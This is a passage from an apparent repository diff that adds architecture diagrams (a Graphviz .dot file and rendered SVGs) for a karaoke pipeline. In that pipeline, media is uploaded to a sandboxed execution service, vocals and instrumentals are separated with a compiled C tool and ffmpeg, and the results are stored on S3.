<text text-anchor="middle" x="300.5" y="-10" font-family="monospace" font-size="10.00">fetchWatchData()</text>
</g>
<!-- hourglass&#45;&gt;refresh -->
<g id="edge7" class="edge">
<title>hourglass&#45;&gt;refresh</title>
<path fill="none" stroke="black" d="M377.02,-241.77C379.19,-209.07 380.58,-136.4 356.5,-82 350.05,-67.43 338.96,-53.86 328.34,-43.07"/>
<polygon fill="black" stroke="black" points="330.74,-40.52 321.12,-36.07 325.86,-45.55 330.74,-40.52"/>
<text text-anchor="middle" x="400.5" y="-162.8" font-family="monospace" font-size="9.00">every 10s</text>
</g>
<!-- refresh&#45;&gt;detect -->
<g id="edge8" class="edge">
<title>refresh&#45;&gt;detect</title>
<path fill="none" stroke="black" d="M287.08,-36.15C277.84,-47.96 265.27,-64.02 254.14,-78.23"/>
<polygon fill="black" stroke="black" points="251.2,-76.31 247.79,-86.35 256.71,-80.63 251.2,-76.31"/>
</g>
<!-- detect&#45;&gt;refresh -->
<g id="edge9" class="edge">
<title>detect&#45;&gt;refresh</title>
<path fill="none" stroke="black" d="M252.48,-88.02C259.61,-80.65 267.19,-72.26 273.5,-64 277.96,-58.16 282.29,-51.54 286.12,-45.2"/>
<polygon fill="black" stroke="black" points="289.33,-46.65 291.35,-36.25 283.29,-43.12 289.33,-46.65"/>
<text text-anchor="middle" x="298" y="-56.8" font-family="monospace" font-size="9.00">not yet</text>
</g>
<!-- autoswitch -->
<g id="node10" class="node">
<title>autoswitch</title>
<path fill="#e8f5e9" stroke="black" d="M214,-36C214,-36 125,-36 125,-36 119,-36 113,-30 113,-24 113,-24 113,-12 113,-12 113,-6 119,0 125,0 125,0 214,0 214,0 220,0 226,-6 226,-12 226,-12 226,-24 226,-24 226,-30 220,-36 214,-36"/>
<text text-anchor="middle" x="169.5" y="-21" font-family="monospace" font-size="10.00">Auto&#45;switch to</text>
<text text-anchor="middle" x="169.5" y="-10" font-family="monospace" font-size="10.00">instrumentals 🎤</text>
</g>
<!-- detect&#45;&gt;autoswitch -->
<g id="edge10" class="edge">
<title>detect&#45;&gt;autoswitch</title>
<path fill="none" stroke="black" d="M199.97,-89.01C192.3,-81.8 184.7,-73.25 179.5,-64 176.43,-58.55 174.31,-52.23 172.83,-46.09"/>
<polygon fill="black" stroke="black" points="176.24,-45.25 170.92,-36.09 169.36,-46.57 176.24,-45.25"/>
<text text-anchor="middle" x="211.5" y="-56.8" font-family="monospace" font-size="9.00">tracks ready</text>
</g>
</g>
</svg>
Side by side

After

Width:  |  Height:  |  Size: 10 KiB

77
docs/karaoke-pipeline.dot Normal file
View file

@ -0,0 +1,77 @@
// Karaoke Pipeline — MPS → Unsandbox → Container → S3
// Render: dot -Tsvg docs/karaoke-pipeline.dot -o docs/karaoke-pipeline.dot.svg
digraph karaoke_pipeline {
rankdir=LR;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
subgraph cluster_mps {
label="MPS (uWSGI)";
style=dashed;
color="#5871ad";
trigger [label="Trigger\n(upload / on-demand / backfill)", fillcolor="#e8eaf6"];
s3_down [label="S3 Download\n→ /tmp/karaoke_*/media.bin\n64KB chunks", fillcolor="#e8eaf6"];
upload_media [label="POST /upload\n(streaming file body)\n→ upload_id", fillcolor="#e8eaf6"];
upload_vox [label="POST /upload\nvoxsplit.c\n→ upload_id", fillcolor="#e8eaf6"];
execute [label="POST /execute\n{upload_ids, script}\ntiny JSON, no file bytes", fillcolor="#e8eaf6"];
stream_resp [label="Stream response\n→ /tmp/karaoke_*/response.json\n64KB chunks", fillcolor="#e8eaf6"];
decode [label="Decode artifacts\n(base64 → tmpfile)\nupload to S3", fillcolor="#e8eaf6"];
db_update [label="Update product\nextensions + file_bytes\nset S3 ACLs", fillcolor="#e8eaf6"];
}
subgraph cluster_api {
label="api.unsandbox.com";
style=dashed;
color="#ad5871";
recv_upload [label="Receive upload\nAES-256-CTR encrypt\n→ /tmp/uploads/{id}.enc\nkey in ETS only", fillcolor="#fce4ec"];
dispatch [label="Dispatch execute\nErlang RPC\n~200B metadata only", fillcolor="#fce4ec"];
}
subgraph cluster_pool {
label="Pool Node";
style=dashed;
color="#58ad71";
pull [label="GET /internal/upload/{id}\nX-Upload-Key auth\nstreaming decrypt", fillcolor="#e8f5e9"];
inject [label="lxc exec ... cat >\n/root/input/{filename}\n64KB streaming pipe", fillcolor="#e8f5e9"];
}
subgraph cluster_container {
label="Zerotrust Container";
style=dashed;
color="#ad8f58";
compile [label="gcc -O2 voxsplit.c -lm", fillcolor="#fff8e1"];
extract [label="ffmpeg -i media\n-vn -acodec pcm_s16le\n-ar 44100 -ac 2\naudio.wav", fillcolor="#fff8e1"];
split [label="voxsplit audio.wav\n→ split-instrumental.wav\n→ split-vocal.wav", fillcolor="#fff8e1"];
remux [label="ffmpeg remux\n(video: copy video +\nisolated audio)\n(audio: copy wav)", fillcolor="#fff8e1"];
artifacts [label="/tmp/artifacts/\ninstrumentals.{ext}\nvocals.{ext}", fillcolor="#fff8e1"];
}
s3 [label="S3 / CDN\n(DO Spaces or BYOB)", shape=cylinder, fillcolor="#f3e5f5"];
browser [label="Browser\n(watch.js)", shape=ellipse, fillcolor="#e0f2f1"];
trigger -> s3_down;
s3_down -> upload_media [label="file on disk"];
s3_down -> upload_vox;
upload_media -> recv_upload [label="streaming\noctet-stream"];
upload_vox -> recv_upload;
recv_upload -> execute [label="upload_id", style=dashed, dir=back];
execute -> dispatch [label="JSON\n{upload_ids}"];
dispatch -> pull [label="RPC\nmetadata only"];
pull -> recv_upload [label="HTTPS GET\nstreaming decrypt", style=dotted];
pull -> inject;
inject -> compile;
compile -> extract;
extract -> split;
split -> remux;
remux -> artifacts;
artifacts -> stream_resp [label="response JSON\nbase64 artifacts", style=dotted];
stream_resp -> decode;
decode -> s3 [label="PUT instrumentals\nPUT vocals"];
db_update -> s3 [label="ACL update", style=dashed];
decode -> db_update;
s3 -> browser [label="presigned URL\n15 min TTL"];
}

327
docs/karaoke-pipeline.dot.svg Normal file
View file

@ -0,0 +1,327 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.43.0 (0)
-->
<!-- Title: karaoke_pipeline Pages: 1 -->
<svg width="1637pt" height="501pt"
viewBox="0.00 0.00 1637.00 501.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 497)">
<title>karaoke_pipeline</title>
<polygon fill="white" stroke="transparent" points="-4,4 -4,-497 1633,-497 1633,4 -4,4"/>
<g id="clust1" class="cluster">
<title>cluster_mps</title>
<polygon fill="none" stroke="#5871ad" stroke-dasharray="5,2" points="8,-286 8,-485 781,-485 781,-286 8,-286"/>
<text text-anchor="middle" x="394.5" y="-469.8" font-family="Times,serif" font-size="14.00">MPS (uWSGI)</text>
</g>
<g id="clust2" class="cluster">
<title>cluster_api</title>
<polygon fill="none" stroke="#ad5871" stroke-dasharray="5,2" points="346,-127 346,-278 517,-278 517,-127 346,-127"/>
<text text-anchor="middle" x="431.5" y="-262.8" font-family="Times,serif" font-size="14.00">api.unsandbox.com</text>
</g>
<g id="clust3" class="cluster">
<title>cluster_pool</title>
<polygon fill="none" stroke="#58ad71" stroke-dasharray="5,2" points="26,-8 26,-89 514,-89 514,-8 26,-8"/>
<text text-anchor="middle" x="270" y="-73.8" font-family="Times,serif" font-size="14.00">Pool Node</text>
</g>
<g id="clust4" class="cluster">
<title>cluster_container</title>
<polygon fill="none" stroke="#ad8f58" stroke-dasharray="5,2" points="613,-10 613,-101 1621,-101 1621,-10 613,-10"/>
<text text-anchor="middle" x="1117" y="-85.8" font-family="Times,serif" font-size="14.00">Zerotrust Container</text>
</g>
<!-- trigger -->
<g id="node1" class="node">
<title>trigger</title>
<path fill="#e8eaf6" stroke="black" d="M207,-449C207,-449 28,-449 28,-449 22,-449 16,-443 16,-437 16,-437 16,-425 16,-425 16,-419 22,-413 28,-413 28,-413 207,-413 207,-413 213,-413 219,-419 219,-425 219,-425 219,-437 219,-437 219,-443 213,-449 207,-449"/>
<text text-anchor="middle" x="117.5" y="-434" font-family="monospace" font-size="10.00">Trigger</text>
<text text-anchor="middle" x="117.5" y="-423" font-family="monospace" font-size="10.00">(upload / on&#45;demand / backfill)</text>
</g>
<!-- s3_down -->
<g id="node2" class="node">
<title>s3_down</title>
<path fill="#e8eaf6" stroke="black" d="M506,-394.5C506,-394.5 357,-394.5 357,-394.5 351,-394.5 345,-388.5 345,-382.5 345,-382.5 345,-365.5 345,-365.5 345,-359.5 351,-353.5 357,-353.5 357,-353.5 506,-353.5 506,-353.5 512,-353.5 518,-359.5 518,-365.5 518,-365.5 518,-382.5 518,-382.5 518,-388.5 512,-394.5 506,-394.5"/>
<text text-anchor="middle" x="431.5" y="-382.5" font-family="monospace" font-size="10.00">S3 Download</text>
<text text-anchor="middle" x="431.5" y="-371.5" font-family="monospace" font-size="10.00">→ /tmp/karaoke_*/media.bin</text>
<text text-anchor="middle" x="431.5" y="-360.5" font-family="monospace" font-size="10.00">64KB chunks</text>
</g>
<!-- trigger&#45;&gt;s3_down -->
<g id="edge1" class="edge">
<title>trigger&#45;&gt;s3_down</title>
<path fill="none" stroke="black" d="M217.22,-412.96C254.83,-406.09 297.6,-398.28 334.91,-391.46"/>
<polygon fill="black" stroke="black" points="335.57,-394.9 344.78,-389.66 334.31,-388.01 335.57,-394.9"/>
</g>
<!-- upload_media -->
<g id="node3" class="node">
<title>upload_media</title>
<path fill="#e8eaf6" stroke="black" d="M755,-394.5C755,-394.5 636,-394.5 636,-394.5 630,-394.5 624,-388.5 624,-382.5 624,-382.5 624,-365.5 624,-365.5 624,-359.5 630,-353.5 636,-353.5 636,-353.5 755,-353.5 755,-353.5 761,-353.5 767,-359.5 767,-365.5 767,-365.5 767,-382.5 767,-382.5 767,-388.5 761,-394.5 755,-394.5"/>
<text text-anchor="middle" x="695.5" y="-382.5" font-family="monospace" font-size="10.00">POST /upload</text>
<text text-anchor="middle" x="695.5" y="-371.5" font-family="monospace" font-size="10.00">(streaming file body)</text>
<text text-anchor="middle" x="695.5" y="-360.5" font-family="monospace" font-size="10.00">→ upload_id</text>
</g>
<!-- s3_down&#45;&gt;upload_media -->
<g id="edge2" class="edge">
<title>s3_down&#45;&gt;upload_media</title>
<path fill="none" stroke="black" d="M518.29,-374C548.99,-374 583.48,-374 613.74,-374"/>
<polygon fill="black" stroke="black" points="613.83,-377.5 623.83,-374 613.83,-370.5 613.83,-377.5"/>
<text text-anchor="middle" x="568" y="-376.8" font-family="monospace" font-size="9.00">file on disk</text>
</g>
<!-- upload_vox -->
<g id="node4" class="node">
<title>upload_vox</title>
<path fill="#e8eaf6" stroke="black" d="M728,-335.5C728,-335.5 663,-335.5 663,-335.5 657,-335.5 651,-329.5 651,-323.5 651,-323.5 651,-306.5 651,-306.5 651,-300.5 657,-294.5 663,-294.5 663,-294.5 728,-294.5 728,-294.5 734,-294.5 740,-300.5 740,-306.5 740,-306.5 740,-323.5 740,-323.5 740,-329.5 734,-335.5 728,-335.5"/>
<text text-anchor="middle" x="695.5" y="-323.5" font-family="monospace" font-size="10.00">POST /upload</text>
<text text-anchor="middle" x="695.5" y="-312.5" font-family="monospace" font-size="10.00">voxsplit.c</text>
<text text-anchor="middle" x="695.5" y="-301.5" font-family="monospace" font-size="10.00">→ upload_id</text>
</g>
<!-- s3_down&#45;&gt;upload_vox -->
<g id="edge3" class="edge">
<title>s3_down&#45;&gt;upload_vox</title>
<path fill="none" stroke="black" d="M518.29,-354.68C558.63,-345.6 605.49,-335.04 640.74,-327.11"/>
<polygon fill="black" stroke="black" points="641.84,-330.45 650.83,-324.83 640.3,-323.62 641.84,-330.45"/>
</g>
<!-- recv_upload -->
<g id="node9" class="node">
<title>recv_upload</title>
<path fill="#fce4ec" stroke="black" d="M497,-247C497,-247 366,-247 366,-247 360,-247 354,-241 354,-235 354,-235 354,-207 354,-207 354,-201 360,-195 366,-195 366,-195 497,-195 497,-195 503,-195 509,-201 509,-207 509,-207 509,-235 509,-235 509,-241 503,-247 497,-247"/>
<text text-anchor="middle" x="431.5" y="-235" font-family="monospace" font-size="10.00">Receive upload</text>
<text text-anchor="middle" x="431.5" y="-224" font-family="monospace" font-size="10.00">AES&#45;256&#45;CTR encrypt</text>
<text text-anchor="middle" x="431.5" y="-213" font-family="monospace" font-size="10.00">→ /tmp/uploads/{id}.enc</text>
<text text-anchor="middle" x="431.5" y="-202" font-family="monospace" font-size="10.00">key in ETS only</text>
</g>
<!-- upload_media&#45;&gt;recv_upload -->
<g id="edge4" class="edge">
<title>upload_media&#45;&gt;recv_upload</title>
<path fill="none" stroke="black" d="M631.5,-353.46C625.16,-350.83 618.89,-348 613,-345 598.87,-337.79 526.49,-287.31 477.79,-253.02"/>
<polygon fill="black" stroke="black" points="479.78,-250.14 469.59,-247.24 475.75,-255.86 479.78,-250.14"/>
<text text-anchor="middle" x="568" y="-348.8" font-family="monospace" font-size="9.00">streaming</text>
<text text-anchor="middle" x="568" y="-338.8" font-family="monospace" font-size="9.00">octet&#45;stream</text>
</g>
<!-- upload_vox&#45;&gt;recv_upload -->
<g id="edge5" class="edge">
<title>upload_vox&#45;&gt;recv_upload</title>
<path fill="none" stroke="black" d="M665.99,-294.44C647.88,-282.24 623.49,-267.38 600,-258 574.5,-247.81 545.63,-240.16 519.14,-234.54"/>
<polygon fill="black" stroke="black" points="519.61,-231.07 509.11,-232.49 518.2,-237.93 519.61,-231.07"/>
</g>
<!-- execute -->
<g id="node5" class="node">
<title>execute</title>
<path fill="#e8eaf6" stroke="black" d="M186,-394.5C186,-394.5 49,-394.5 49,-394.5 43,-394.5 37,-388.5 37,-382.5 37,-382.5 37,-365.5 37,-365.5 37,-359.5 43,-353.5 49,-353.5 49,-353.5 186,-353.5 186,-353.5 192,-353.5 198,-359.5 198,-365.5 198,-365.5 198,-382.5 198,-382.5 198,-388.5 192,-394.5 186,-394.5"/>
<text text-anchor="middle" x="117.5" y="-382.5" font-family="monospace" font-size="10.00">POST /execute</text>
<text text-anchor="middle" x="117.5" y="-371.5" font-family="monospace" font-size="10.00">{upload_ids, script}</text>
<text text-anchor="middle" x="117.5" y="-360.5" font-family="monospace" font-size="10.00">tiny JSON, no file bytes</text>
</g>
<!-- dispatch -->
<g id="node10" class="node">
<title>dispatch</title>
<path fill="#fce4ec" stroke="black" d="M485,-176.5C485,-176.5 378,-176.5 378,-176.5 372,-176.5 366,-170.5 366,-164.5 366,-164.5 366,-147.5 366,-147.5 366,-141.5 372,-135.5 378,-135.5 378,-135.5 485,-135.5 485,-135.5 491,-135.5 497,-141.5 497,-147.5 497,-147.5 497,-164.5 497,-164.5 497,-170.5 491,-176.5 485,-176.5"/>
<text text-anchor="middle" x="431.5" y="-164.5" font-family="monospace" font-size="10.00">Dispatch execute</text>
<text text-anchor="middle" x="431.5" y="-153.5" font-family="monospace" font-size="10.00">Erlang RPC</text>
<text text-anchor="middle" x="431.5" y="-142.5" font-family="monospace" font-size="10.00">~200B metadata only</text>
</g>
<!-- execute&#45;&gt;dispatch -->
<g id="edge7" class="edge">
<title>execute&#45;&gt;dispatch</title>
<path fill="none" stroke="black" d="M198.38,-360C206.06,-356.12 213.15,-351.21 219,-345 243.99,-318.47 216.7,-295.27 237,-265 264.19,-224.45 288.69,-232.27 327,-202 335.4,-195.36 335.78,-191.43 345,-186 348.66,-183.85 352.5,-181.81 356.44,-179.9"/>
<polygon fill="black" stroke="black" points="358.13,-182.97 365.78,-175.65 355.23,-176.6 358.13,-182.97"/>
<text text-anchor="middle" x="282" y="-277.8" font-family="monospace" font-size="9.00">JSON</text>
<text text-anchor="middle" x="282" y="-267.8" font-family="monospace" font-size="9.00">{upload_ids}</text>
</g>
<!-- stream_resp -->
<g id="node6" class="node">
<title>stream_resp</title>
<path fill="#e8eaf6" stroke="black" d="M204,-335.5C204,-335.5 31,-335.5 31,-335.5 25,-335.5 19,-329.5 19,-323.5 19,-323.5 19,-306.5 19,-306.5 19,-300.5 25,-294.5 31,-294.5 31,-294.5 204,-294.5 204,-294.5 210,-294.5 216,-300.5 216,-306.5 216,-306.5 216,-323.5 216,-323.5 216,-329.5 210,-335.5 204,-335.5"/>
<text text-anchor="middle" x="117.5" y="-323.5" font-family="monospace" font-size="10.00">Stream response</text>
<text text-anchor="middle" x="117.5" y="-312.5" font-family="monospace" font-size="10.00">→ /tmp/karaoke_*/response.json</text>
<text text-anchor="middle" x="117.5" y="-301.5" font-family="monospace" font-size="10.00">64KB chunks</text>
</g>
<!-- decode -->
<g id="node7" class="node">
<title>decode</title>
<path fill="#e8eaf6" stroke="black" d="M482,-453.5C482,-453.5 381,-453.5 381,-453.5 375,-453.5 369,-447.5 369,-441.5 369,-441.5 369,-424.5 369,-424.5 369,-418.5 375,-412.5 381,-412.5 381,-412.5 482,-412.5 482,-412.5 488,-412.5 494,-418.5 494,-424.5 494,-424.5 494,-441.5 494,-441.5 494,-447.5 488,-453.5 482,-453.5"/>
<text text-anchor="middle" x="431.5" y="-441.5" font-family="monospace" font-size="10.00">Decode artifacts</text>
<text text-anchor="middle" x="431.5" y="-430.5" font-family="monospace" font-size="10.00">(base64 → tmpfile)</text>
<text text-anchor="middle" x="431.5" y="-419.5" font-family="monospace" font-size="10.00">upload to S3</text>
</g>
<!-- stream_resp&#45;&gt;decode -->
<g id="edge17" class="edge">
<title>stream_resp&#45;&gt;decode</title>
<path fill="none" stroke="black" d="M191.93,-335.54C201.11,-338.51 210.32,-341.69 219,-345 276.78,-367.01 287.63,-380.92 345,-404 349.49,-405.81 354.14,-407.6 358.85,-409.35"/>
<polygon fill="black" stroke="black" points="357.96,-412.76 368.56,-412.9 360.36,-406.18 357.96,-412.76"/>
</g>
<!-- db_update -->
<g id="node8" class="node">
<title>db_update</title>
<path fill="#e8eaf6" stroke="black" d="M761,-453.5C761,-453.5 630,-453.5 630,-453.5 624,-453.5 618,-447.5 618,-441.5 618,-441.5 618,-424.5 618,-424.5 618,-418.5 624,-412.5 630,-412.5 630,-412.5 761,-412.5 761,-412.5 767,-412.5 773,-418.5 773,-424.5 773,-424.5 773,-441.5 773,-441.5 773,-447.5 767,-453.5 761,-453.5"/>
<text text-anchor="middle" x="695.5" y="-441.5" font-family="monospace" font-size="10.00">Update product</text>
<text text-anchor="middle" x="695.5" y="-430.5" font-family="monospace" font-size="10.00">extensions + file_bytes</text>
<text text-anchor="middle" x="695.5" y="-419.5" font-family="monospace" font-size="10.00">set S3 ACLs</text>
</g>
<!-- decode&#45;&gt;db_update -->
<g id="edge20" class="edge">
<title>decode&#45;&gt;db_update</title>
<path fill="none" stroke="black" d="M494.26,-433C528,-433 570.34,-433 607.39,-433"/>
<polygon fill="black" stroke="black" points="607.69,-436.5 617.69,-433 607.69,-429.5 607.69,-436.5"/>
</g>
<!-- s3 -->
<g id="node18" class="node">
<title>s3</title>
<path fill="#f3e5f5" stroke="black" d="M999,-485.98C999,-488.06 969.64,-489.75 933.5,-489.75 897.36,-489.75 868,-488.06 868,-485.98 868,-485.98 868,-452.02 868,-452.02 868,-449.94 897.36,-448.25 933.5,-448.25 969.64,-448.25 999,-449.94 999,-452.02 999,-452.02 999,-485.98 999,-485.98"/>
<path fill="none" stroke="black" d="M999,-485.98C999,-483.9 969.64,-482.21 933.5,-482.21 897.36,-482.21 868,-483.9 868,-485.98"/>
<text text-anchor="middle" x="933.5" y="-472" font-family="monospace" font-size="10.00">S3 / CDN</text>
<text text-anchor="middle" x="933.5" y="-461" font-family="monospace" font-size="10.00">(DO Spaces or BYOB)</text>
</g>
<!-- decode&#45;&gt;s3 -->
<g id="edge18" class="edge">
<title>decode&#45;&gt;s3</title>
<path fill="none" stroke="black" d="M494.05,-445.28C528.82,-451.71 573.17,-459.04 613,-463 691.77,-470.84 711.86,-467.67 791,-469 812.63,-469.36 836.12,-469.48 857.63,-469.47"/>
<polygon fill="black" stroke="black" points="857.69,-472.97 867.69,-469.46 857.68,-465.97 857.69,-472.97"/>
<text text-anchor="middle" x="695.5" y="-480.8" font-family="monospace" font-size="9.00">PUT instrumentals</text>
<text text-anchor="middle" x="695.5" y="-470.8" font-family="monospace" font-size="9.00">PUT vocals</text>
</g>
<!-- db_update&#45;&gt;s3 -->
<g id="edge19" class="edge">
<title>db_update&#45;&gt;s3</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M773.12,-444.69C800.21,-448.82 830.64,-453.46 857.58,-457.57"/>
<polygon fill="black" stroke="black" points="857.31,-461.07 867.73,-459.12 858.37,-454.15 857.31,-461.07"/>
<text text-anchor="middle" x="817.5" y="-457.8" font-family="monospace" font-size="9.00">ACL update</text>
</g>
<!-- recv_upload&#45;&gt;execute -->
<g id="edge6" class="edge">
<title>recv_upload&#45;&gt;execute</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M384.11,-252.78C342.4,-280.21 278.7,-319.36 219,-345 211.91,-348.05 204.4,-350.88 196.81,-353.49"/>
<polygon fill="black" stroke="black" points="386.26,-255.55 392.66,-247.11 382.39,-249.72 386.26,-255.55"/>
<text text-anchor="middle" x="282" y="-338.8" font-family="monospace" font-size="9.00">upload_id</text>
</g>
<!-- pull -->
<g id="node11" class="node">
<title>pull</title>
<path fill="#e8f5e9" stroke="black" d="M189,-57.5C189,-57.5 46,-57.5 46,-57.5 40,-57.5 34,-51.5 34,-45.5 34,-45.5 34,-28.5 34,-28.5 34,-22.5 40,-16.5 46,-16.5 46,-16.5 189,-16.5 189,-16.5 195,-16.5 201,-22.5 201,-28.5 201,-28.5 201,-45.5 201,-45.5 201,-51.5 195,-57.5 189,-57.5"/>
<text text-anchor="middle" x="117.5" y="-45.5" font-family="monospace" font-size="10.00">GET /internal/upload/{id}</text>
<text text-anchor="middle" x="117.5" y="-34.5" font-family="monospace" font-size="10.00">X&#45;Upload&#45;Key auth</text>
<text text-anchor="middle" x="117.5" y="-23.5" font-family="monospace" font-size="10.00">streaming decrypt</text>
</g>
<!-- dispatch&#45;&gt;pull -->
<g id="edge8" class="edge">
<title>dispatch&#45;&gt;pull</title>
<path fill="none" stroke="black" d="M376.65,-135.46C322.62,-114.85 239.42,-83.12 182.16,-61.28"/>
<polygon fill="black" stroke="black" points="183.08,-57.89 172.49,-57.59 180.59,-64.43 183.08,-57.89"/>
<text text-anchor="middle" x="282" y="-127.8" font-family="monospace" font-size="9.00">RPC</text>
<text text-anchor="middle" x="282" y="-117.8" font-family="monospace" font-size="9.00">metadata only</text>
</g>
<!-- pull&#45;&gt;recv_upload -->
<g id="edge9" class="edge">
<title>pull&#45;&gt;recv_upload</title>
<path fill="none" stroke="black" stroke-dasharray="1,5" d="M138.8,-57.88C161.27,-80.13 199.3,-115.33 237,-139 281.34,-166.83 296.77,-165.64 345,-186 348.91,-187.65 352.92,-189.33 356.97,-191.02"/>
<polygon fill="black" stroke="black" points="355.9,-194.37 366.47,-194.97 358.58,-187.9 355.9,-194.37"/>
<text text-anchor="middle" x="282" y="-190.8" font-family="monospace" font-size="9.00">HTTPS GET</text>
<text text-anchor="middle" x="282" y="-180.8" font-family="monospace" font-size="9.00">streaming decrypt</text>
</g>
<!-- inject -->
<g id="node12" class="node">
<title>inject</title>
<path fill="#e8f5e9" stroke="black" d="M494,-57.5C494,-57.5 369,-57.5 369,-57.5 363,-57.5 357,-51.5 357,-45.5 357,-45.5 357,-28.5 357,-28.5 357,-22.5 363,-16.5 369,-16.5 369,-16.5 494,-16.5 494,-16.5 500,-16.5 506,-22.5 506,-28.5 506,-28.5 506,-45.5 506,-45.5 506,-51.5 500,-57.5 494,-57.5"/>
<text text-anchor="middle" x="431.5" y="-45.5" font-family="monospace" font-size="10.00">lxc exec ... cat &gt;</text>
<text text-anchor="middle" x="431.5" y="-34.5" font-family="monospace" font-size="10.00">/root/input/{filename}</text>
<text text-anchor="middle" x="431.5" y="-23.5" font-family="monospace" font-size="10.00">64KB streaming pipe</text>
</g>
<!-- pull&#45;&gt;inject -->
<g id="edge10" class="edge">
<title>pull&#45;&gt;inject</title>
<path fill="none" stroke="black" d="M201.29,-37C246.27,-37 301.75,-37 346.86,-37"/>
<polygon fill="black" stroke="black" points="346.91,-40.5 356.91,-37 346.91,-33.5 346.91,-40.5"/>
</g>
<!-- compile -->
<g id="node13" class="node">
<title>compile</title>
<path fill="#fff8e1" stroke="black" d="M758,-57C758,-57 633,-57 633,-57 627,-57 621,-51 621,-45 621,-45 621,-33 621,-33 621,-27 627,-21 633,-21 633,-21 758,-21 758,-21 764,-21 770,-27 770,-33 770,-33 770,-45 770,-45 770,-51 764,-57 758,-57"/>
<text text-anchor="middle" x="695.5" y="-36.5" font-family="monospace" font-size="10.00">gcc &#45;O2 voxsplit.c &#45;lm</text>
</g>
<!-- inject&#45;&gt;compile -->
<g id="edge11" class="edge">
<title>inject&#45;&gt;compile</title>
<path fill="none" stroke="black" d="M506.18,-37.56C538.69,-37.81 577.06,-38.1 610.66,-38.36"/>
<polygon fill="black" stroke="black" points="610.89,-41.86 620.92,-38.44 610.95,-34.86 610.89,-41.86"/>
</g>
<!-- extract -->
<g id="node14" class="node">
<title>extract</title>
<path fill="#fff8e1" stroke="black" d="M993,-70C993,-70 874,-70 874,-70 868,-70 862,-64 862,-58 862,-58 862,-30 862,-30 862,-24 868,-18 874,-18 874,-18 993,-18 993,-18 999,-18 1005,-24 1005,-30 1005,-30 1005,-58 1005,-58 1005,-64 999,-70 993,-70"/>
<text text-anchor="middle" x="933.5" y="-58" font-family="monospace" font-size="10.00">ffmpeg &#45;i media</text>
<text text-anchor="middle" x="933.5" y="-47" font-family="monospace" font-size="10.00">&#45;vn &#45;acodec pcm_s16le</text>
<text text-anchor="middle" x="933.5" y="-36" font-family="monospace" font-size="10.00">&#45;ar 44100 &#45;ac 2</text>
<text text-anchor="middle" x="933.5" y="-25" font-family="monospace" font-size="10.00">audio.wav</text>
</g>
<!-- compile&#45;&gt;extract -->
<g id="edge12" class="edge">
<title>compile&#45;&gt;extract</title>
<path fill="none" stroke="black" d="M770.2,-40.56C795.99,-41.11 825.08,-41.72 851.44,-42.28"/>
<polygon fill="black" stroke="black" points="851.71,-45.79 861.78,-42.5 851.85,-38.79 851.71,-45.79"/>
</g>
<!-- split -->
<g id="node15" class="node">
<title>split</title>
<path fill="#fff8e1" stroke="black" d="M1259,-64.5C1259,-64.5 1122,-64.5 1122,-64.5 1116,-64.5 1110,-58.5 1110,-52.5 1110,-52.5 1110,-35.5 1110,-35.5 1110,-29.5 1116,-23.5 1122,-23.5 1122,-23.5 1259,-23.5 1259,-23.5 1265,-23.5 1271,-29.5 1271,-35.5 1271,-35.5 1271,-52.5 1271,-52.5 1271,-58.5 1265,-64.5 1259,-64.5"/>
<text text-anchor="middle" x="1190.5" y="-52.5" font-family="monospace" font-size="10.00">voxsplit audio.wav</text>
<text text-anchor="middle" x="1190.5" y="-41.5" font-family="monospace" font-size="10.00">→ split&#45;instrumental.wav</text>
<text text-anchor="middle" x="1190.5" y="-30.5" font-family="monospace" font-size="10.00">→ split&#45;vocal.wav</text>
</g>
<!-- extract&#45;&gt;split -->
<g id="edge13" class="edge">
<title>extract&#45;&gt;split</title>
<path fill="none" stroke="black" d="M1005.19,-44C1034.33,-44 1068.43,-44 1099.33,-44"/>
<polygon fill="black" stroke="black" points="1099.68,-47.5 1109.68,-44 1099.68,-40.5 1099.68,-47.5"/>
</g>
<!-- remux -->
<g id="node16" class="node">
<title>remux</title>
<path fill="#fff8e1" stroke="black" d="M1433,-70C1433,-70 1320,-70 1320,-70 1314,-70 1308,-64 1308,-58 1308,-58 1308,-30 1308,-30 1308,-24 1314,-18 1320,-18 1320,-18 1433,-18 1433,-18 1439,-18 1445,-24 1445,-30 1445,-30 1445,-58 1445,-58 1445,-64 1439,-70 1433,-70"/>
<text text-anchor="middle" x="1376.5" y="-58" font-family="monospace" font-size="10.00">ffmpeg remux</text>
<text text-anchor="middle" x="1376.5" y="-47" font-family="monospace" font-size="10.00">(video: copy video +</text>
<text text-anchor="middle" x="1376.5" y="-36" font-family="monospace" font-size="10.00">isolated audio)</text>
<text text-anchor="middle" x="1376.5" y="-25" font-family="monospace" font-size="10.00">(audio: copy wav)</text>
</g>
<!-- split&#45;&gt;remux -->
<g id="edge14" class="edge">
<title>split&#45;&gt;remux</title>
<path fill="none" stroke="black" d="M1271.13,-44C1279.93,-44 1288.88,-44 1297.65,-44"/>
<polygon fill="black" stroke="black" points="1297.85,-47.5 1307.85,-44 1297.85,-40.5 1297.85,-47.5"/>
</g>
<!-- artifacts -->
<g id="node17" class="node">
<title>artifacts</title>
<path fill="#fff8e1" stroke="black" d="M1601,-67.5C1601,-67.5 1494,-67.5 1494,-67.5 1488,-67.5 1482,-61.5 1482,-55.5 1482,-55.5 1482,-38.5 1482,-38.5 1482,-32.5 1488,-26.5 1494,-26.5 1494,-26.5 1601,-26.5 1601,-26.5 1607,-26.5 1613,-32.5 1613,-38.5 1613,-38.5 1613,-55.5 1613,-55.5 1613,-61.5 1607,-67.5 1601,-67.5"/>
<text text-anchor="middle" x="1547.5" y="-55.5" font-family="monospace" font-size="10.00">/tmp/artifacts/</text>
<text text-anchor="middle" x="1547.5" y="-44.5" font-family="monospace" font-size="10.00">instrumentals.{ext}</text>
<text text-anchor="middle" x="1547.5" y="-33.5" font-family="monospace" font-size="10.00">vocals.{ext}</text>
</g>
<!-- remux&#45;&gt;artifacts -->
<g id="edge15" class="edge">
<title>remux&#45;&gt;artifacts</title>
